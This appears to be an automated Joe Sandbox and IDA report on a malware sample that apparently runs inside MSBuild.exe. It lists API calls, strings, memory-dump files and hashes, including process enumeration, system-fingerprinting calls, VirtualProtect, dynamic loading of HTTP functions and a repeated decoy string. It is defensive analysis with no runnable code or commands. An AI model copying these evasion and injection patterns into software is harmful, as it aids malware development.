Instruction Fuzzy Hash: D2015B31D41A22FBCB21AB25B8067DD7760BF04720F191116F850A7291CF28A9C1CFF5

Function 00CEBC6B Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00CEAC9B,00000000,?,00000000,00000000,?,00CE2B7F,00000000,00000000,00000000), ref: 00CEBC82
GetLastError.KERNEL32(?,00CEAC9B,00000000,?,00000000,00000000,?,00CE2B7F,00000000,00000000,00000000,00000000,00000000,?,00CE3106,00000000), ref: 00CEBC8E

Part of subcall function 00CEBC54: CloseHandle.KERNEL32(FFFFFFFE,00CEBC9E,?,00CEAC9B,00000000,?,00000000,00000000,?,00CE2B7F,00000000,00000000,00000000,00000000,00000000), ref: 00CEBC64

___initconout.LIBCMT ref: 00CEBC9E

Part of subcall function 00CEBC16: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00CEBC45,00CEAC88,00000000,?,00CE2B7F,00000000,00000000,00000000,00000000), ref: 00CEBC29

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00CEAC9B,00000000,?,00000000,00000000,?,00CE2B7F,00000000,00000000,00000000,00000000), ref: 00CEBCB3

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 4542cf6bdfb2491d6ef4bfd3d21c712c4a5b61ee4ffac8caafe7f3a71dd9d0b7
Instruction ID: 88d03a7adfed8576247b10e298a28e1eaf3d44c83250ed9f6a2bca4100b82afd
Opcode Fuzzy Hash: 4542cf6bdfb2491d6ef4bfd3d21c712c4a5b61ee4ffac8caafe7f3a71dd9d0b7
Instruction Fuzzy Hash: E4F0AC365041A5BBCF222FA6DC44BAE3FA6FB087A1F154411FA1995131CB329D60FB91

Function 00CD9E90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00CD9ECF
__IsNonwritableInCurrentImage.LIBCMT ref: 00CD9F83

Strings

csm, xrefs: 00CD9F6D

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 17da1e397511ff1df1c396dc436025c796adcb53219405077b8823066633149c
Instruction ID: cd2fc02ea9e1ed1375bc441d840a40dea752f763216c06d72c6102d3f6650049
Opcode Fuzzy Hash: 17da1e397511ff1df1c396dc436025c796adcb53219405077b8823066633149c
Instruction Fuzzy Hash: 25418339A00208DBCF10DFA9C884B9EBBB5EF45314F148156FA289B352D731EE16CB91

Function 00CDA79D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00CDA7C2

Strings

MOC, xrefs: 00CDA7D4
RCC, xrefs: 00CDA7DC

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 46b336f390c06174e26395c6002953d185536f5172221bc3d110e8c139bf7002
Instruction ID: ca85b012f4a10b7bad5676e74f7ed4fa871ddd4a6717f9f2e00c813e6fea70ee
Opcode Fuzzy Hash: 46b336f390c06174e26395c6002953d185536f5172221bc3d110e8c139bf7002
Instruction Fuzzy Hash: 3C417931900209AFCF15DF98CD81AEEBBB5FF48300F14406AFA15A72A1D335AA51EF52

Function 00CD15D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CD15DC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00CD1614

Part of subcall function 00CD51E1: _Yarn.LIBCPMT ref: 00CD5200
Part of subcall function 00CD51E1: _Yarn.LIBCPMT ref: 00CD5224

Strings

bad locale name, xrefs: 00CD1622

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 8c5b4bc5bf512bf816ad331b1373d680d981536c1ca20002fcafe3f6a98149c8
Instruction ID: c4e7aa56f4570b5bd5c0d98fcddbe85de49e52b523abd17a011ac4c12c2ee4aa
Opcode Fuzzy Hash: 8c5b4bc5bf512bf816ad331b1373d680d981536c1ca20002fcafe3f6a98149c8
Instruction Fuzzy Hash: 0BF01772545B809E83319FAA9481447FBE4BE283113948A2FE2DEC3A11D730E504CBAA

Analysis Process: MSBuild.exePID: 5748, Parent PID: 6196COMMON

Execution Graph

Execution Coverage:	19.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1%
Total number of Nodes:	1598
Total number of Limit Nodes:	4

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction ID: d74624c404fea8bc3833097cd15bfd8a5e03d1640ee24043f2693d34696df282
Opcode Fuzzy Hash: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction Fuzzy Hash: DF41A979740624EBC71C9FE5EC89B997F60AB8C712BA0C062F90299190C7FAD5119B3D

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3
CloseHandle.KERNELBASE(?), ref: 00418761

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00417B90 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNELBASE(?,00000002,?,00000200), ref: 00417C62

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: /
API String ID: 2299586839-4001269591
Opcode ID: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00417A30 Relevance: 1.5, APIs: 1, Instructions: 49timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNELBASE(?,?,?,?,00000000,00000000,?,?,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00401160 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 18.2, APIs: 8, Strings: 2, Instructions: 684
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8

Strings

HttpQueryInfoA, xrefs: 0041A5FC
InternetSetOptionA, xrefs: 0041A5E5

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 1029625771-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
